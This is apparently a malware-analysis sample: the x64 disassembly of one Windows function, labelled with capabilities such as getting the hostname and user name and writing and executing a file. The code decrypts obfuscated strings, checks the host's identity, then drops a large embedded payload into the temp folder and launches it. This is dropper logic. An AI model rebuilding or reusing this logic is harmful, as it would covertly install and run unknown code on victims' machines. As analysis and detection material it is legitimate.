Function at 0x1400023b0
Capabilities:
Create process on windows
Get common file path
Get hostname
Get session user name
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push r13
push r15
lea rbp, [rsp - 0x358]
sub rsp, 0x458
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x340], rax
call fcn.140001500
lea rdx, [rbp + 0x230]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movabs rax, 0x6770b49d1a274bb6
movabs rcx, 0x807f13819fcf0bae
mov qword [rsp + 0x50], rax
xor r15d, r15d
mov rax, qword [rsp + 0x50]
movabs r13, 0x6ebf9f2f71f890b4
mov qword [rbp - 0x50], rax
mov rdi, 0xffffffffffffffff
movabs rax, 0xb91ad581491e6d6
mov r8, rdi
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], rax
movabs rax, 0x99d0980c7a22c4b5
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
movabs rax, 0x207d1fa7e4238db
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x210], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x218], rax
movabs rax, 0x99d0980c7a22a1cd
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x220], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0x210]
mov qword [rbp + 0x228], rax
lea rax, [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x220]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x1400024f5
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140002e10
lea rax, [rbp + 0x230]
mov r9, rdi
inc r9
cmp byte [rax + r9], r15b
jne 0x140002515
lea r8, [rbp + 0x230]
lea rcx, [rbp - 0x30]
call fcn.140003270
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000258c
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002587
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002587
call fcn.1400177cc
int3
call fcn.14000375c
mov qword [rsp + 0x480], rbx
mov ecx, 0x20
mov qword [rsp + 0x488], rsi
mov qword [rsp + 0x490], r12
mov qword [rsp + 0x450], r14
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r15b
mov dword [rsp + 0x60], 0x7ffbebbd
mov dword [rsp + 0x64], 0x1f772037
mov dword [rsp + 0x68], 0x8bc918b6
mov dword [rsp + 0x6c], 0xeba84758
mov dword [rsp + 0x70], 0xcd9862b7
mov dword [rsp + 0x74], 0x6afe9e0b
mov dword [rsp + 0x78], 0xf991f195
mov dword [rsp + 0x7c], 0x1d2f737c
call fcn.140003720
mov r8d, 0x20
mov qword [rbp + 0xf0], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x100], rbx
call fcn.140014a60
mov ecx, 8
mov qword [rbp + 0xf8], rbx
mov dword [rsp + 0x58], 0xf3cb168c
mov dword [rsp + 0x5c], 0x2aab147e
call fcn.140003720
mov rcx, qword [rsp + 0x58]
movdqa xmm0, xmmword [0x140030dc0]
mov qword [rbp + 0xd8], rax
lea rdx, [rax + 8]
mov qword [rbp + 0xe8], rdx
mov qword [rax], rcx
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xe0], rdx
lea rdx, [rbp + 0x68]
mov qword [rbp + 0xb8], r15
movdqu xmmword [rbp + 0xc8], xmm0
mov dword [rbp + 0x68], 0x7fff
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movdqa xmm0, xmmword [0x140030dc0]
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x98]
mov dword [rbp + 0x6c], 0x10
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0x98], r15
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp qword [rbp + 0xb0], 0x10
lea r14, [rbp + 0x98]
mov rsi, qword [rbp + 0xa8]
movabs r12, 0x7fffffffffffffff
cmovae r14, qword [rbp + 0x98]
cmp rsi, 0x10
jae 0x14000270b
movups xmm0, xmmword [r14]
mov qword [rbp + 8], 0xf
movups xmmword [rbp - 0x10], xmm0
jmp 0x14000277b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002755
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400027d9
mov rcx, rax
call fcn.140003720
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002764
test rcx, rcx
je 0x140002761
call fcn.140003720
jmp 0x140002764
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp - 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a60
mov qword [rbp + 8], rbx
cmp qword [rbp + 0xd0], 0x10
lea r14, [rbp + 0xb8]
mov qword [rbp], rsi
mov rsi, qword [rbp + 0xc8]
cmovae r14, qword [rbp + 0xb8]
cmp rsi, 0x10
jae 0x1400027b5
movups xmm0, xmmword [r14]
mov qword [rbp + 0x28], 0xf
movups xmmword [rbp + 0x10], xmm0
jmp 0x140002829
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002803
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400027df
call fcn.140001110
int3
mov rcx, rax
call fcn.140003720
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002812
call fcn.1400177cc
int3
test rcx, rcx
je 0x14000280f
call fcn.140003720
jmp 0x140002812
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp + 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a60
mov qword [rbp + 0x28], rbx
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x20], rsi
lea rcx, [rbp + 0x10]
call fcn.1400018c0
test eax, eax
jne 0x140002c64
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x30], r15
mov edx, 0x40000000
cmovae rcx, qword [rbp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
movdqu xmmword [rbp + 0x1e0], xmm0
mov r14, rax
call fcn.140001580
mov ecx, 0x179227
call fcn.140003720
test rax, rax
je 0x140002c5e
lea rcx, [rax + 0x27]
xor edx, edx
and rcx, 0xffffffffffffffe0
mov r8d, 0x179200
mov qword [rcx - 8], rax
lea rbx, [rcx + 0x179200]
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x50], rcx
call fcn.140014870
xorps xmm0, xmm0
mov qword [rbp + 0x58], rbx
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x140]
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
call fcn.1400011b0
mov rsi, qword [rbp + 0x58]
mov rbx, qword [0x140035f18]
mov r8, rsi
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
sub rbx, rdx
sub r8, rcx
cmp rbx, r8
jae 0x14000292e
lea rax, [rcx + rbx]
jmp 0x140002974
jbe 0x140002978
mov rax, qword [rbp + 0x60]
sub rax, rcx
cmp rbx, rax
jbe 0x140002955
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140001370
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
jmp 0x140002978
sub rbx, r8
xor edx, edx
mov r8, rbx
mov rcx, rsi
call fcn.140014870
mov rdx, qword [0x140035f10]
lea rax, [rbx + rsi]
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0x58], rax
mov r8, qword [0x140035f18]
mov rax, qword [rbp + 0x140]
sub r8, rdx
mov r9, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
call fcn.1400044b0
mov r8d, dword [rbp + 0x58]
lea r9, [rbp + 0x90]
mov rdx, qword [rbp + 0x50]
mov rcx, r14
sub r8d, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test eax, eax
jne 0x1400029c9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x262bc9b19274ff6
lea rdx, [0x140030a44]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x30]
mov rax, qword [rsp + 0x50]
mov r8d, 1
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x78], rax
movabs rax, 0x207d1fa7e4238db
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
call fcn.140002e10
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, qword [rbp + 0x80]
lea rcx, [rbp + 0x30]
cmovae r8, qword [rbp + 0x70]
call fcn.140003270
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rax, [rbp - 0x80]
nop
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140002aa0
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140002aed
cmp rdx, 0x10
lea rax, [rcx + rdi]
lea rbx, [rbp - 0x70]
mov qword [rbp - 0x60], rax
cmovae rbx, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
add rbx, rcx
mov r8, rdi
mov rcx, rbx
call fcn.140014a60
lea rax, [rbp - 0x70]
mov byte [rdi + rbx], r15b
jmp 0x140002b02
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400030e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002b5d
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b58
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b9f
call fcn.14000375c
mov rdx, qword [rbp + 0x48]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
cmp rdx, 0x10
jb 0x140002baa
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ba5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ba5
call fcn.1400177cc
int3
call fcn.14000375c
xorps xmm0, xmm0
mov dword [rbp + 0x170], 0x68
xor eax, eax
mov rcx, r14
movups xmmword [rbp + 0x174], xmm0
mov dword [rbp + 0x1d4], eax
movups xmmword [rbp + 0x184], xmm0
mov qword [rbp + 0x138], rax
movups xmmword [rbp + 0x194], xmm0
movups xmmword [rbp + 0x1a4], xmm0
movups xmmword [rbp + 0x1b4], xmm0
movups xmmword [rbp + 0x1c4], xmm0
movups xmmword [rbp + 0x128], xmm0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x120], 0x10
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x108]
cmovae rdx, qword [rbp + 0x108]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002c64
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400177cc
int3
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]